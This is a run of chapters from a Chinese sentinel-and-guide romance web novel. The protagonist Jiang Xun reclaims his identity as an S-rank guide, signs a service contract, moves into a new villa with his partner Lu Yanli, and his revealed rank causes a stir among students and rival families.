艾略特教授欣慰地点了点头，拥有这样的实力与际遇，若是放在寻常人身上，恐怕不会再浪费宝贵的三年多时间在学习上了。江寻能够这么想，实在令他十分欣喜。而且看样子，他对于圣所的认同感还是很高的，这样的话，接下来他要说的话，就更容易说出口了…… 想到这里，艾略特继续说道：“我听说了你需要完成一年劳动服务的事。但既然你还打算继续在圣所上学，那不如考虑一下，将服务地点放在圣所里？” 他不等江寻回答，便迅速列举起了在圣所的有利条件：“首先，你如果选择直接在圣所进行劳动服务的话，那每天就不用辛苦地跑来跑去了。其次，我们圣所中的服务内容都很轻松，而且，一年之后，如果你的表现良好的话，还可以直接转成助教等职位，一边学习一边加入圣所体系开始工作。” “若是你以后留校的话，福利待遇也会非常好。圣所会为你提供独立的研究室，图书馆的最高访问权限，各种专项研究基金，宿舍与薪资也不会让你失望，甚至，还可以为你提供圣所保存的历任S级向导的相关资料与珍贵笔记，供你更加顺畅地钻研你自己的寻道之路……” “好啊！艾略特，你居然想挖我们墙角！”艾略特教授正为江寻描绘着美好的未来道路，却被一旁察觉了端倪的尼克斯不由分说地打断。 尼克斯此刻丝毫没了在外人面前的稳重样子，一个箭步插入了两人之间，把江寻完全挡在自己身后，跳着脚语气急切地像是机关枪： “别想把他骗走！这些福利待遇，我们愈灵殿又不是没有！江寻可是我们愈灵殿先发现的！他的担保人是我，劳动服务地点也早就定好了，就是我们愈灵殿研究组！白纸黑字，由审查官定下的！这会儿估计都上传到最高智脑了！谁来抢都没用，没得改！” 他护犊子似的紧盯着艾略特，看得本就有些心虚的艾略特教授尴尬地摸了摸鼻子，不好意思地笑了笑。 江寻此时也从尼克斯身后探出头来，对着艾略特教授与莉亚导师歉然地笑了笑，解释道：“多谢教授与导师的好意。不过，因为我自身发展路线的原因，我认为在愈灵殿里，能接触到的项目与相关的前沿性医疗知识，对我进一步的发展更有帮助。” “所以，只能辜负导师们的美意了。不过，之后的三年时间，我会一直在圣所中读完高级研修班的所有课程。若是在这期间，学院有什么需要我的地方，我也十分愿意贡献出自己的一份力量。” 听到江寻的亲口确认，尼克斯顿时眉开眼笑起来，连胸膛都挺得更高了，看向艾略特教授的目光里写满了得意。 艾略特无奈地看了看这个三十多岁了，都已经做了研究组组长，却还是一派孩子气的家伙。又听到江寻有理有据的陈述，只能无奈地叹了口气，打消了念头。 莉亚导师此时也拍了拍艾略特的后背，温和地对江寻说道：“既然你已经有了决定，那我们尊重你的选择。不过，我们之后相处的时间还很长，阁下如果又有了其他的打算，圣所的大门永远为你敞开。” 话落，两人这才向众人告辞后，一起离去了。 眼见着两人相伴离开，尼克斯这才松了口气，马上拉着江寻回了办公室，将一份提前起草好的电子合同调了出来，态度殷勤地把感应板往江寻手里塞：“来来来，江寻，未免夜长梦多，咱们现在就把劳动服务的合同签了！你放心，你这次虽然是公益性的劳动服务，不能拿正式薪酬，但咱们愈灵殿向来福利都是塔中顶好的！该有的福利补贴一样都不会少了你的！” 一边说着，尼克斯一边翻出了相关的津贴表格给江寻看：“你看！每个月都有的交通补贴、餐饮津贴、你的公共保险、各种高级设备的使用权限，甚至还有半年一次的旅游经费！留在愈灵殿里，绝对不会亏待你的！” 江寻本就已经为自己选定了未来要走的道路，打算留在愈灵殿中继续学习深造。大略浏览了一遍各项条款，确认与尼克斯所说的没有什么出入之后，便利落地在合同最后的电子签名处写下了自己的名字。 眼见着江寻签下了文件，尼克斯马上便将合同上传到了智脑中。看着所有信息被确认，合同正式生效，尼克斯不由大喜过望，用力拍了拍江寻的肩膀：“好好好！从今天起，你就是我们愈灵殿的人了！哈哈哈！一共三位S级向导，我们愈灵殿就独占了两个！” 心情舒畅之下，尼克斯直接大手一挥，在终端上操作了几下，调出一片围绕着愈灵殿分布的别墅区，展示给江寻看。 “你看，这几片别墅区，都是批给愈灵殿的员工宿舍。环境都很不错，安保级别也高，离愈灵殿距离也很近。这些绿色标签的，都是还空着的，你随便选！” 江寻观察了一下，可能因为是联盟统一为愈灵殿建设的，这些别墅的形制都很相似，周边环境也都大同小异，只是分布的地理位置不太一样。江寻估算一下距离，便选了一处离圣所、军部行政大楼距离都不太远的位置。 尼克斯当即便将此处的使用权登记在了江寻名下：“不错不错，湖畔区A7栋，好了，已经把使用权变更给你了。到时候你过去直接用你的向导核心扫描就可以入住了。” 杂务处理完毕，尼克斯彻底放松了下来，拉着江寻就往外走去，边走边迫不及待地说着：“走走走，一早上都没去实验室了，快跟我过来，我有个关于高活性精神力与惰性物质反应程度的猜想，正需要你这样充裕稳定的精神力源来帮我验证呢……” 尼克斯这么一拉却没把人拉动。疑惑地回头望去，却见江寻站在原地一动不动，对他露出一个歉意的微笑：“尼克斯组长，抱歉，我今天恐怕还不能立即开始工作。” 江寻叹了口气，指了指自己，说道：“我刚刚撤销了旧身份，重新登记了新身份，还有很多与之相关的琐事需要尽快处理。比如圣所的学籍信息变更、社会保障账户的更改等等，还要去一趟人工智能控制中心，重新更换我的向导核心，之前的住处也要退掉，收拾行李乔迁到新房子里。实在有许多事情等着我去处理。” “我大概估计了一下，全部处理完差不多需要两、三天吧，等这些杂事都处理完毕了，以后我会在每天圣所的课程结束之后，准时来愈灵殿，按照合同约定的条款，正式开始履行劳动服务的义务的。”江寻看着尼克斯，诚恳地说道。 “啊？还要两三天啊？！”尼克斯脸上瞬间闪过了明晃晃的失望，这一刻，他甚至都开始埋怨自己将房子拨给他拨得太早了。但想了想，他也明白了江寻说的这些都在情理之中，只得依依不舍地松开了手。 “好吧好吧，那你一定尽快啊！我们可都在愈灵殿里等着你呢！”尼克斯无奈地应声，眼巴巴地看着江寻渐行渐远的背影。直到对方的影子彻底消失在了走廊尽头，这才叹了口气，重新一头扎进了实验室里—— 作者有话说：江江恢复身份，喜提新屋！[墨镜] 第200章 离开愈灵殿后， 江寻没有片刻停歇，马上便开始奔波于各处行政部门，处理变更身份之后的一系列琐事。 好在罗恩厅长那边动作很快， 他的新公民身份已经在系统中录入了档案，后续办理各种事务时，也都非常顺利。没过多久，就将他旧的档案、数据、账户等资料合并更新， 全部绑定在了他的新身份名下。 期间因为那个“S级向导”的头衔， 在各处引起的种种骚动不提。 最后， 他又去了外区的公共宿舍管理处，结清了到目前为止的所有费用， 退掉了这间从他初抵中央星后便陪伴了他将近一年的单身宿舍。与管理员约定三天内完成搬离后，时间已经临近傍晚。 江寻去附近的市场中买了些食材，回到他那小小的宿舍中， 为两人做了在这里的最后一顿晚饭。 菜肴快要出锅时， 陆厌离也结束了一天的工作，回到了家中。 “叮铃铃——” 熟悉的门铃声令江寻一笑，他放下手中的餐盘， 为陆厌离打开了房门。 “欢迎回家。”一眼看到风尘仆仆， 赶在晚餐时刻前赶回了家的男人， 江寻目露温软， 绽出一个微笑， 对着门外的人张开了手臂。 陆厌离仍残留着些许冷厉的眼神， 一碰到房间里的暖气， 便似被吹散了，神情同样变得柔软下来。看着眼前这个穿着普普通通的家居服与做饭围裙，都令自己心跳加速的人， 有点害羞地笑了笑。没有拒绝对方的邀请，当即轻轻靠进江寻怀中，圈上了他的腰间。 江寻只觉颈间一暖，耳畔便响起了轻缓又放松的声音：“我回来了。” 江寻一声轻笑，顺势揽着怀里的人便抵上了玄关墙壁，还不忘伸手去将大门关上。 门刚一闭上，陆厌离就迫不及待地抬头凑上前去，与江寻交换了一个绵长又温柔的亲吻。 辗转厮磨，极近温柔。 直到时间太久，被江寻受不了地笑着推了开来，两人才恋恋不舍地结束了这个吻，陆厌离遗憾地抿了抿嘴，这才回房换下了外出的衣物。 再走到客厅时，他又立刻被桌面上摆放的过于丰盛的晚餐吸引了注意力。 “嗯？今天是什么节日吗？”陆厌离一边卷着袖子走近，一边疑惑地看向江寻。 江寻的心情显然也很好，从陆厌离进门开始脸上就一直带着笑意，此时更是取出两只酒杯，为两人倒上了剔透的红酒。推着陆厌离坐了下来，这才解释起来：“我今天去重新登记了身份信息，恢复了我的本名，并且重新认证了向导等级。” 陆厌离有些意外地愣了一下，随即便高兴地点了点头。江寻本就是最优秀的向导，如今恢复自己的真名，拿到自己应有的荣誉与福利也是理所应当的。 不过，在为他高兴之余，陆厌离还是在心中生出了一丝隐忧。江寻原本身份等级不显的时候，便已经有许多人追逐在他身后了。如今若是公布了他的真实等级，一定会引来更多的追求者…… 江寻敏锐地察觉到了陆厌离隐藏在笑容下的那几分忧郁，安抚地覆上他的手背，轻轻握了握。接着说道：“不过，因为我以前冒用他人身份的事，还是要受到一些处罚的。” 果然，江寻一说到自己要受罚，便马上转移了陆厌离的注意力。他连忙抬起头，焦急地追问起来：“什么处罚？严重吗？我能为你做些什么吗？” “不重，对我来说，还算是好事。只是一年的劳动服务，地点就在愈灵殿里。虽然是公益性质的，但是愈灵殿会把相应的福利都给我，待遇很好。”看着陆厌离松了口气的表情，江寻起身坐到他身边，眼中划过一丝清浅的笑意，继续道，“尼克斯组长还给我分配了新的住处，是附近的一处湖畔别墅，还带了一个小花园，内部空间也很大……” 说到这里，江寻顿了顿，看向陆厌离的目光中多了些特别的意味，声音也变得低沉了一些：“可以给你布置上和以前一样的爬架和玩具，晚上，也不用因为床太小，必须变回猫咪的形态了。” 陆厌离刚听到前半句，还有些不好意思，嘴上忍不住喃喃道：“那些都是给真正的猫咪玩耍的，你都知道我是哨兵了还……”，眸底却闪过怀念与欣喜。 等江寻整句话说完，脸颊便马上滚烫了起来，虽然已经与江寻同床共枕过很久了，可用人形就……想着想着，一双眼睛就不敢再直视江寻，忍不住撇了开去。 江寻一笑，更凑近了些，在他因为躲避反而转到了自己面前的耳旁轻声问道：“那你不想要吗？这一次还是我亲自给你做哦。” 热气扑在耳廓上，一下便让它染了红。陆厌离忍不住攥紧了手指，犹豫了半天，才终于赧然回道：“……要的。” 他诚实的反应显然取悦到了江寻，令他不顾陆厌离的害羞，揽靠着他笑了半天。 笑声止息后，江寻的表情却变了。 他凝视了陆厌离半天，而后，略有些强硬地伸手，捧住了他躲闪的面庞重新转向自己，看向他闪烁的双眼，表情认真，像是在确认一个极其重要的答案，轻声问道：“所以，陆厌离，你愿意和我一起走吗……愿意成为这个新家的另一个主人吗？” 听到这句问话，刚才还充斥在脑海中的旖旎幻想，在这一刻都变得不再重要，陆厌离怔怔地看向江寻，碧色的眸子里瞬间掀起巨大的波澜。惊讶、害羞、难以置信……种种情绪瞬息间从陆厌离心头划过。最后，全部化为几乎要满溢而出的感动与喜悦。 他猛地伸出手，紧紧抱住江寻，将自己埋进他的怀中。环抱的手臂因用力而微微发颤，像是就这样拥抱住了幸福。 江寻脖颈间感到一丝湿意，随即，一个语带哽咽的声音，在他耳边坚定地回应： “愿意……我当然愿意！” * 这边厢，江寻开始与陆厌离一起动手整理起他们的个人物品，把各种生活用品打包起来，准备正式乔迁新居。 另一边，随着江寻的身份信息正式变更，并上传到智脑系统中，关于联盟出现了第三位S级向导的消息，如同插上了翅膀，以中央星为源点，通过各种渠道开始迅速向外扩散传播。 联盟各大主流媒体的新闻监测系统，几乎同时捕捉到了这条震撼人心的消息。所有的媒体人都在得知此事的第一时间，将目光投向了中央星。 无数正在浏览着星网的联盟公民们，也从突然弹出的推送信息上接收到了这条紧急新闻。 一时之间，“江寻”这个名字伴随着“S级向导”这个重量级的头衔，共同出现在了整个联盟各类重量级的网络媒体与舆论场合中。 对于普通民众而言，在震惊之余更多的是好奇与兴奋；但对于那些掌握着权柄与资源力量的强大势力而言，这条突如其来的消息带来的影响，就复杂得多了。 各大势力首脑的办公桌上，几乎在同一时间摆上了关于这件事与“江寻”这个人的紧急情报。然而，关于这个人的所有情报都贫瘠得要命。除了他的姓名样貌与“圣所高级研修班学员”的身份以外，没人知道他更多的信息。他似乎是一个突然从石头缝里蹦出来的人，却在一出世之后就瞬间一步登顶。 无数的情报组负责人在这一晚愁白了头发，无数的情报人员奔跑在前往中央星的路上。 而除了这些势力首脑之外，对于这条消息反应最为强烈的，便是那些散布在联盟各处的A级以上高阶哨兵了。特别是那些实力强大，正值盛年，却始终没有找到合适的匹配者，已经有了堕化预兆的高级哨兵。 新的S级向导的消息，便如一剂强心剂，让他们快要失去希望的内心重新剧烈跳动了起来。 更高的等级，意味着更低的匹配度要求、更好的疏导效果与最稳固的力量支撑！更不用说，作为联盟屈指可数的S级向导，他身上还有着无与伦比的影响力。几乎是所有人，都在第一时间动用自身的力量与人脉，开始打探起关于这位突然出现的陌生S级向导的一切蛛丝马迹。 一夜之间，关于新的S级向导的各种消息，便如同风暴般席卷了整个联盟，一场难以想象的巨大浪潮初现端倪。 作为与联盟上层关系最为密切的机构之一，这道飓风也很快吹到了圣所之中。 起初，只是一位正在刷着星网的学员，无意中看到了那条推送新闻，出于好奇点开来查看。可他那份看热闹的心态，在注意到新闻中提到，这位新晋的S级向导如今正在圣所中就读时，便被一种与有荣焉的兴奋所取代。 他先是不敢相信地愣了一下，又将那条新闻从头到尾看了一遍，才确定自己没有看错。这一下，惊得他当即从座位上弹了起来，压抑不住地惊呼出声：“我的天！新的S级向导？！这么年轻？就在我们圣所里上学？！” 他的这声惊呼，马上吸引到了身边同学的注意。于是，以他为源头，这条消息迅速在学员中蔓延开来，还没过一节课的时间，大半个圣所便都或多或少地听说了这条新闻。 兴奋、羡慕、自豪、难以置信……种种复杂的情绪交织在一起，将这些基本没见识过什么大场面的学员们完全裹挟。所有人都因这条新闻沸腾了起来。 向导学院的高级研修班，更在此时变成了台风眼，被所有其他班级的学员们瞩目，无数人在这一天涌向高级研修班所在的教学区，急切地向他们遇到的每一位学员打听着这位突然冒出来的大人物。 可奇怪的是，按照新闻上清清楚楚列出的具体信息，大家找遍了高级研修班的四个年级，却都没有找到“江寻”这个人。 “江寻？谁是江寻？我们高级研修班有这个人吗？” “没听说过啊……高级研修班里有名的向导就那么几个，谁不认识谁呀？哪有这个人！” “搞错了吧？我翻过四个年级所有的名册，根本没有叫这个名字的人，不会是哪个一直在延毕的前辈吧？” 在一天之内被众人多次询问的高级研修班学员们自己也是一头雾水。他们四个年级一共也就二百多人，整天朝夕相对的，谁不认识谁呢？根本就没人听过这个名字。 就在所有人因为这个结果面面相觑之时，终于有消息灵通的学员不知从哪里拿到了这位S级向导的认证照片。 照片中的男子非常年轻，眉目清俊神态平和，直直看向镜头的眼神毫无烟火气，一点儿人中龙凤的张扬气质都没有。看起来压根不像一位已然踏入最顶级权利圈的大人物，除了那张颜色好看的脸蛋，竟是比大部分的圣所学员都要来的平淡普通。 直到看到了这张照片，才终于有人认出了这位神秘的S级向导。 “这不是那个一年级的小向导吗？好像不叫江寻啊！他前阵子经常在论坛上出现来着。” “对对对！我记得他叫夏因，有阵子一直和陆少将形影不离，后来陆少将不来了，又传出了凡纳家少爷正在和他交往的消息。” “不止呢！还有人看到过阿克塞尔上校也来找过他！” “啊？是他？我记得他不是……B级向导吗？” “对啊，他好像平时也特别低调，除了每次的考试成绩很高之外，都没什么存在感……” “喂，难道你们从没觉得奇怪吗？这样一个看起来普普通通的向导，为什么会和联盟三大S级哨兵都有关系啊？” 这句话堪称是一语惊醒梦中人，直到这时，这些一直以来都在吃瓜看戏的学员们，才终于察觉到了异样。 “所以说……夏因其实是他的假身份，他真名叫江寻，实际上是个S级向导？” “他一个S级向导，为什么要冒充B级，偷偷藏在圣所里啊？” “这谁知道，大人物的怪癖？S级向导居然就在我身边，这事儿够我吹好几年了！” “也不知道他还会不会回圣所，哎呀，好后悔！我连一张和他的合照都没有！” “应该不会再回来了吧？他的等级比导师还高了，这时候，应该已经被那些大组织大世家招揽过去了吧？” “你们说，该不会……那些大人物早就知道他的底细，才都跑来追求他吧？” 众人面面相觑，觉得自己似乎摸清了来龙去脉。 一旦确定这位横空出世的联盟第三位S级向导，居然就是大家朝夕相处的同窗，那些认识江寻的学员，特别是与他同班的学员们，瞬间炸开了锅。 关于江寻的各种消息，开始如瘟疫般在整个学院中传播开来。 很快，连圣所的内部论坛也被彻底引爆。无数个与之相关的帖子如雨后春笋般冒了出来，不论是他平时上课喜欢坐的座位、擅长的课程，还是他参加过的活动、执行过的任务，甚至是他在食堂里喜欢点什么菜，都被众人统统挖了出来。 整个圣所，都因为这条横空出世的震撼新闻，陷入了一种沸腾的狂热之中。 然而此时，在这片狂热的海洋中，却也有一些人，因为这条消息荡起了不同的涟漪。 哨兵学院的训练场里，今日的气氛格外灼热沸腾。 年末的年度哨兵首席选拔赛已经进行到了高潮，擂台上，两只巨大的猛禽在一声长啸之后□□撞在了一起，利爪与尖喙带起的凌厉破空声，令站在防护罩外的观众都听得心惊胆战。 台下，弗兰克正抱臂而立，目光冷静地评估着台上的战况。 两人之中的胜利者，将是他下一场的对手。 就在这时，却有一阵特殊的铃声从他戴在手腕上的私人终端中传出。一眼瞥见显示在屏幕上的姓名，他微微蹙起了眉头，转身走到稍远些的地方接起了通讯。 “父亲？有什么事吗？我正在参加首席选拔呢！”弗兰克目露疑惑。他今日的行程早就与家族报备过，按理说，没有紧急的事务，父亲是不会在这种时候联系他的。 可通讯那头此时却传来了雷欧家族现任族长略显激动的声音：“弗兰克，首席选拔赛先放一放。你看到那条最新的新闻了吗？关于联盟那位新晋S级向导的消息！” 弗兰克心中一凛。 为了集中精力应对这一次首席选拔，他这两天的确没有关注联盟里的新闻。新的S级向导？是说上次那位“希先生”吗？ 关于这位神秘的向导，父亲早就与他提起过。他也派了不少下属前去调查此人的身份。可自从黑街那一次之后，此人便销声匿迹再也没有出现过。所有关于他的信息，也不知被哪方势力扫了个干干净净。 如今，是那个人再一次出现了吗？ 弗兰克忙低头操作起终端，登上了星网，搜索起这条消息来。耳边，父亲的声音还在继续：“这个人就在圣所就读！你有没有接触过此人，和他有什么交情？现在各方世家都在想办法接近他，你人就在圣所，情势对我们家族来说太有利了！你一定要尽可能地快速与他建立起联系，争取把他拉拢过来！我们雷欧家这次能不能再上一层台阶，可就在此一举了！” 听到父亲说那人如今就在圣所读书，弗兰克心中也是一阵激动，手上搜索的动作更快了。好在如今这事正是所有媒体上最为热议的焦点话题，他轻易便找到了相关新闻。 可看完官方发布的新闻之后，他却是一脸迷惑。“江寻”这个名字，他可一点儿印象也没有。想了一想，弗兰克立马登录上了圣所论坛。果然，此时论坛里，也都在讨论这个话题。 他快速地浏览了一遍标题，迅速点进最为火爆的那个帖子，然而，那双盈满野心的眼睛，却在看清帖子里附带的那张清晰照片后，震惊地睁大。脸上的冷静彻底碎裂，化为一片不可置信的惊愕。弗兰克整个人如被冻在了原地。 怎么会是他？！夏因！ 与此同时，擂台上，雪白的银雕携着他与生俱来的冰系能力，以一记附加寒冰的凌厉爪击，将对手狠狠击下擂台，赢得了这一场战斗的胜利。 防护罩消散，在一阵剧烈的精神波动之后，银雕匿去了身形，洛伦茨从烟尘中走了出来。他微微扬起下巴，准备迎接属于胜利者的欢呼，可预料之中的声浪却没有到来。 他有些诧异地环顾四周，却发现只有寥寥几人还关注着场上的情形。更多人的人，包括裁判与许多原本关注着他的朋友或对手，此时都低着头，神情激动地在终端上看着什么。还有不少人，已经凑在一起，对着面前投影出来的页面，窃窃私语着什么。 他拧紧眉头，敏锐的听觉已经帮他从无数个声音中捕捉到了几个被反复提及的字眼： “S级向导”、“江寻”、“夏因” ……… 洛伦茨心中猛地一跳，一种不祥的预感瞬间攫住了他。 与此同时，台下许多人已经再次抬起了头看向他，眼神中，充满了嗤笑、怜悯，以及看好戏的意味。 他心头更慌，甚至再顾不得维持自己胜利者的姿态，迅速地在裁判宣布了胜利之后便跳下擂台，迅速回到自己的座位，捡起放在一边的终端。 刚登入星网，便看到了铺天盖地的关于“新晋S级向导”的新闻。与此同时，右下角他的个人私信箱里，此时也反常地显示着几十封新邮件。 他稳住心神，打开了官方推送的新闻，迅速扫过“江寻”这个陌生的名字，与后面跟随着的“官方认证S级向导”的字样，目光却在新闻上写着的“目前就读于圣所高级研修班”处停顿了下来。 在他自己不知道的时候，他的脸色已经难看了下来，一种强烈的预感袭来，几乎让他不敢想象下去。 他抱着最后一丝侥幸，飞快点开了圣所的内部论坛。那微渺的希望，终于被帖子里无数人转发的“江寻”认证照片彻底击碎。 是他……怎么能是他……为什么会是他…… 洛伦茨整个人僵在了原地，面色转眼惨白。终端“啪嗒”一声掉落在地，却丝毫没有引起它主人的注意。 他无力地向后跌坐下去，眼神发直，那双曾经摧金断玉的双手，此刻却在止不住地颤抖。 S级……夏因是S级……为什么会这样……我到底错过了什么？！ 一种巨大的荒谬感与强烈的悔恨，如海啸般将他彻底淹没—— 作者有话说：SQL甜甜入住新居，坏人们追悔莫及，完美！[墨镜]《 》 200-205 第201章 与哨兵学院那边， 有人欢喜有人愁的气氛不同，向导学院中，特别是江寻所在的一年级高级研修班的教室里， 此刻已经彻底陷入了沸腾的海洋。 江寻的同班同学们，不管是与他比较熟悉的，还是只有点头之交的，此刻脸上全部洋溢着与有荣焉的兴奋红光。无人会在这个时候想起当初看着江寻独来独往， 在他背后窃窃私语的过往， 全都激动地围在一起议论纷纷。 “我的天！夏因……不对不对， 是江寻阁下，他居然是S级的向导！” “我们居然是S级向导的同班同学！” “你们快看论坛！上面全都是讨论江寻阁下的， 他们都羡慕死我们了，哈哈！” 所有人的个人终端几乎都在一刻不停地振动着。有来自自家亲友的，也有来自其他班级同学的， 甚至还有一些想要联系江寻， 却没有渠道的媒体、记者，都在第一时间，向他们发来了好友申请与通讯请求。 此刻， 整个联盟都在渴求着有关于这位新晋S级向导的第一手信息， 他们甚至在自己爆满的通讯请求中， 看到了许多以往想都不敢想的名人。 这种被万众瞩目的感觉， 让这些一直生活在象牙塔中的精英们也兴奋不已。 然而， 在这片欢腾的气氛中， 教室里却有一处角落显得格格不入， 连其他学员的眼角余光扫过那里时，都会投去鄙夷嘲笑的眼神。 桑扶独自坐在最靠墙的位置上，脸色灰败地紧紧盯着终端屏幕上显示出的那张清晰照片。嘴唇颤抖， 眼神空洞，扣在终端金属外壳上的手指，因过度用力而泛着白。 他的制服已经空荡了许多，偶尔露出的手腕上、脖颈下，还能看到遮掩不住的青紫红痕。 曾经觉得值得的付出，此刻却显得如此滑稽可笑、可怜可悲。 过度的曾经疏导和透支精神力，已经严重影响到了他的身体与精神，作为一名正在冲击B级的向导，如今的他，却连自己体内的精神力都控制不住，感觉滞涩而枯竭。 此刻，连身边仅剩的几个靠着固定的疏导关系才笼络到的中低级哨兵，也在面面相觑后，交换着不安的眼神。 不知是谁第一个悄悄挪动了脚步，紧接着，其他人也跟着动了起来，如同躲避瘟疫般，所有人默契又无声无息地远离了桑扶所在的区域，将他一个人留在了那片突然变得格外冷清的角落里。 桑扶像是一台快要坏掉的机器人，动作缓慢地瞥了一眼那些对他避之不及的背影，又看了看屏幕上那个，已经站到他连仰望都难以企及的高度的身影，彻骨的寒意与绝望，终于完全浸透了他的四肢百骸。 同一时间，凡纳家族宅邸深处。 书房中的光线晦暗不明，伊莱坐在宽大的座椅上，面无表情地浏览着各大主流媒体上的新闻，修长有力的指甲，一下一下磕在光滑的金属桌面上。 这“叩叩叩”的声响，令身后躬身而立的几个下属噤若寒蝉，无一人敢出声打扰。 最后，还是劳伦斯越众而出，低声打破了这一片寂静：“少爷，如今江寻阁下的真实等级已经为人所尽知，我们之前的消息封锁……是否还要继续？” 伊莱眼睛微眯，沉吟了一下，这才向后摆了摆手：“不必了，木已成舟，再封锁已经没有意义了。” 不得不说，在他迄今为止的人生中，像这样让他费心的事情实在不多，像江寻一样让他屡屡受挫的人更是从来没有。之前对方隐瞒身份之时，他还能直截了当地用出一些手段。可如今，整个联盟的目光都聚焦在了对方的身上，他也不得不顾忌到其他几个家族与凡纳家其他几房的目光，行事必须更加谨慎。 最麻烦的是，江寻本人还一直对他不假辞色，无法让对方自愿归顺的话，事情就会变得更加棘手了。 伊莱的眼中闪过一丝锐光，围绕着江寻的各方关系在他脑海中走马而过，当他想到某个人时，心中忽然一动。 沉吟了片刻，半转过身来看向劳伦斯，吩咐道：“找人去给我查清楚，江寻和陆厌离这两个人，现在到底发展到哪里一步了。江寻有没有被陆厌离完全绑定。另外，去探探陆家那边的风向，特别是陆明远的动向，看看他对这两个人如今是什么态度。” 劳伦斯挺直的脊背恭敬地低下，沉声应道：“是，少爷！” * 外界因为新晋S级向导的横空出世而风起云涌之时，处于风暴中心的两人，如今却暂时享受着暴风雨来之前的宁静。 吃完了晚餐，江寻与陆厌离便一起动手，开始收拾行李，为搬家做起准备。 这边的单身公寓空间有限，江寻自从住进来以后，就没有添置过任何大型电器家具，如今需要整理打包的，大多是一些书籍、衣物与日常用品，还有一些陆厌离住过来之后，临时带来的个人物品。 东西不算太多，他们两个大男人一起动手，整理归纳起来手脚又利落。再加上两人如今关系亲密，寻常的举手投足之间，便自然流露着某些无法言说的默契。干起活来，时间竟是过去得飞快，不过两三小时，大部分物品便都打包完毕，封存在几个大大的纸箱里，整齐地码放在了客厅中，只等第二天正式开始搬家。 待洗漱完毕后，两人更是早早地上了床，只想明日早点起床，能尽快前往他们的新家。 临睡前，例行的亲昵中，两人都能看到彼此眼中，对于即将开始的新生活的那份隐约的期待，不禁同时抵额浅笑，一同坠入了美好的梦境之中。 第二天一早，天刚蒙蒙亮，江寻便在陆厌离那双写满了期待的碧眸注视下，将规整好的纸箱搬上悬浮车的后车厢，启程向着湖畔区别墅的方向驶去。 喧嚣熙攘的城市，此刻还没有完全醒来。两人的悬浮车在空中划过一道悠长的弧光，缓缓驶入一片环境清幽的别墅区。 在寸土寸金的哨兵岛中心位置拥有一片别墅区已属难得，更难得的是，这片别墅区还奢侈地留出了大片大片的空地用以种植植被。零星几栋精致的别墅错落其间，彼此之间楼距甚远，充分考虑到了住户的隐私。这样的大手笔，足以看出联盟对于愈灵殿中这些最顶级的研究员们的重视。 刚刚行至外围，两人便被外围的岗哨拦了下来，通过严格的身份验证后，这才被放行。 也许是因为此处来往的人群本身层次就很高，守卫在看到两人S级向导加S级哨兵的组合时，并没有过于夸张的表现，只是在开启关卡放两人进入时，露出了一个略有些激动的眼神。 沿着湖畔道路行驶的路上，随处可见鲜花绿草，即使在这临近年关的寒冬里，也丝毫无损它们的颜色。 江寻一路顺着导航行驶了片刻，终于停在了一栋带有独立停车坪的三层别墅门前。 一眼望过去，这栋别墅占地面积不算特别广大，但建造得格外精巧别致。磨砂质地的白色哑光外墙，搭配上深褐色的屋顶，大面积的单面落地窗占据了大部分的墙面，整体造型简约而优雅。 门前的小径设计得颇有意趣，小径两边，一侧是一个波光粼粼的室外游泳池，另一侧，则摆放着十分漂亮的室外小几与躺椅。 最令人惊喜的是，别墅后方，还连接着一个在晨曦中泛着微光的小型玻璃温室花园。远远地，便能透过透明玻璃，看到其中种植着的姹紫嫣红。 “湖畔区A7栋，我们到了。”江寻露出一个微笑，看向陆厌离。 将车子停入停车坪中，两人下车步行，绕着这栋别致的小别墅转了一圈，看着眼前处处精巧的建筑布置，与周围宁静的湖光山色，他们几乎是第一眼就喜欢上了这个新家。 江寻拉着陆厌离走上前去，将腕上的个人终端靠近外门上的门禁感应区。伴随着一声清脆的“滴”声，权限认证通过，别墅大门一亮，便在二人面前缓缓滑开。 一步踏入玄关，别墅内部的空间便在两人面前完全展现了出来。 宽敞明亮的客厅，墙壁与地板呈一体化设计。整体的装修风格简约利落，各式家具也都是相应的浅色系。阳光透过巨大的落地窗，被过滤掉了刺眼的紫外线，洒在家具、地板上，只余柔和的泛光，整个房间都在这种舒缓的光照下显得格外舒适惬意。 两人一开始只是抱着新奇的心情在房中转悠着四处观察，没过多久便忍不住小声讨论了起来。 “这个房间的采光真好，可以做书房。”江寻指着二楼一间全通透的房间说道。 “三楼最中间那个房间采光最好，不过那间自带了一个小阳台，还是更适合做卧室。”陆厌离跟在他身边，一边对比着一边说道，语气中充满了雀跃。 “这里居然还有这么大一个地下室……不如给你改造一个地下训练场。”江寻顺着楼梯往下看了一眼，回头对着陆厌离开心说道。 “这里是厨房吗？好大的冷藏室。”陆厌离看向一楼的一块儿已经配置好了各种厨用电器的区域感叹道。 两人兴致勃勃地穿梭在略显空荡的房间里，在每一个房间门口停留，规划着每一处空间的用途。一起讨论着书架该放哪里，沙发又放哪里，哪里安装猫爬架最好，哪里又适合摆放江寻的药柜。 不像是在布置一个工作单位分配下来的居所，更像是在描绘着自己未来的生活。 在这样满满的对新生活的憧憬中，两人干劲十足。大略议定了规划，便开始动手布置起来。车子后面的密封箱被一个个搬进来摆在客厅里，拆封然后重新归类，摆放到他们应在的位置。本应繁琐枯燥的劳动，因为是两人一起完成，而变得充满了意义。 整理好了所有搬过来的箱子后，两人又乘车往返了两趟，这才把旧公寓中的所有物品都搬了过来。 最后一次，将剩余的行李全部塞进悬浮车的后车厢中，又将已经搬完东西的公寓打扫了一遍，两人并肩站在这间住了不算太久，却已经承载了许多记忆的公寓门口，静静地环视了几秒钟。 陆厌离轻轻握上江寻的手。 “走了？”低低的声音中，有着藏不住的兴奋期待。 江寻一笑，反手紧紧握住：“嗯！” 最后看了一眼这间小房子，关上顶灯。两人携着手，毫不犹豫地转身登上车子，带着他们所有的期待与憧憬，奔向了属于他们的新生活。 * 忙碌了一整天，两人终于把所有的行李全部规整到了新家里。空荡荡的新房子，总算是有了些人气。虽然因为这边空间比较大的缘故，还是显得有些空旷，但重要的生活物品都已经各归其位，已经可以入住了。 把包装物等垃圾都清理了出去，上下查看了一遍各个房间后，江寻在三楼的主卧门口停了下来。 看着房间中央那张光秃秃的床垫，两人终于想起了一件重要的事。 “我们好像忘了买床上用品了。”江寻无奈地笑了笑，看向身边的陆厌离。 其他的东西，基本上从旧公寓中搬过来就能接着用。但那边的旧公寓只有一张单人床，如今搬过来以后就不够用了。 江寻看了看外间的天色，太阳已经开始西沉，但距离天黑应该还有一两个小时。又调出终端，搜索了一下附近的家居卖场，估算了一下距离。 